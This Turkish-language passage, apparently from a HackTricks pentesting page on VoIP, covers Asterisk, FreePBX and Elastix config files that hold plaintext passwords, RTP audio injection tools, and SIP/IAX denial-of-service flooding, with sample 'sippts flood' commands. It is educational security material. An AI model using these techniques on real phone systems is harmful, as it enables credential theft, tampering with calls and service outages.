amportal.conf
-> Web panel yöneticisinin şifresini içerir (FreePBX)FreePBX.conf
-> Veritabanına erişmek için kullanılan FreePBXuser kullanıcısının şifresini içerir- Bu, yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
Elastix
Elastix.conf
-> mysql root şifresi, IMAPd şifresi, web yönetici şifresi gibi birçok şifreyi düz metin olarak içerir.- Birkaç klasör, tehlikeye atılan asterisk kullanıcısına ait olacaktır (eğer root olarak çalışmıyorsa). Bu kullanıcı önceki dosyaları okuyabilir ve ayrıca yapılandırmayı kontrol eder, bu nedenle Asterisk'i başka arka kapılı ikili dosyaları yüklemeye zorlayabilir.
RTP Enjeksiyonu
rtpinsertsound
(sudo apt install rtpinsertsound
) ve rtpmixsound
(sudo apt install rtpmixsound
) gibi araçlar kullanılarak konuşmalara .wav
eklemek mümkündür.
Ya da http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ adresinden alınan betikler kullanılarak konuşmaları taramak için (rtpscan.pl
), bir .wav
dosyasını bir konuşmaya göndermek için (rtpsend.pl
) ve bir konuşmaya gürültü eklemek için (rtpflood.pl
) kullanılabilir.
DoS
VoIP sunucularında DoS elde etmek için birkaç yol vardır.
- sippts tarafından
SIPPTS flood
: SIPPTS flood, hedefe sınırsız mesaj gönderir. sippts flood -i 10.10.0.10 -m invite -v
- sippts tarafından
SIPPTS ping
: SIPPTS ping, sunucu yanıt süresini görmek için bir SIP ping yapar. sippts ping -i 10.10.0.10
- IAXFlooder: Asterisk tarafından kullanılan IAX protokolüne DoS saldırısı yapar.
- inviteflood: UDP/IP üzerinden SIP/SDP INVITE mesajı sızdırmak için bir araç.
- rtpflood: Birkaç iyi oluşturulmuş RTP paketi gönderir. Kullanılan RTP bağlantı noktalarını bilmek gerekir (önce izle).
- SIPp: SIP trafiğini analiz etmeye ve oluşturmaya izin verir, bu nedenle DoS için de kullanılabilir.
- SIPsak: SIP İsviçre çakısı. SIP saldırıları gerçekleştirmek için de kullanılabilir.
- Fuzzerlar: protos-sip, voiper.
İşletim Sistemi Güvenlik Açıkları
Asterisk gibi bir yazılımı yüklemenin en kolay yolu, zaten yüklü olan bir işletim sistemi dağıtımını indirmektir, örneğin: FreePBX, Elastix, Trixbox... Bunlarla ilgili sorun, çalıştıktan sonra sistem yöneticilerinin muhtemelen bunları tekrar güncellemeyeceği ve zamanla güvenlik açıklarının keşfedileceği gerçeğidir.
Referanslar
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan ileri seviyeye AWS hackleme becerilerini öğrenin
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family koleksiyonumuzu keşfedin, özel NFT'lerimizi görün
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.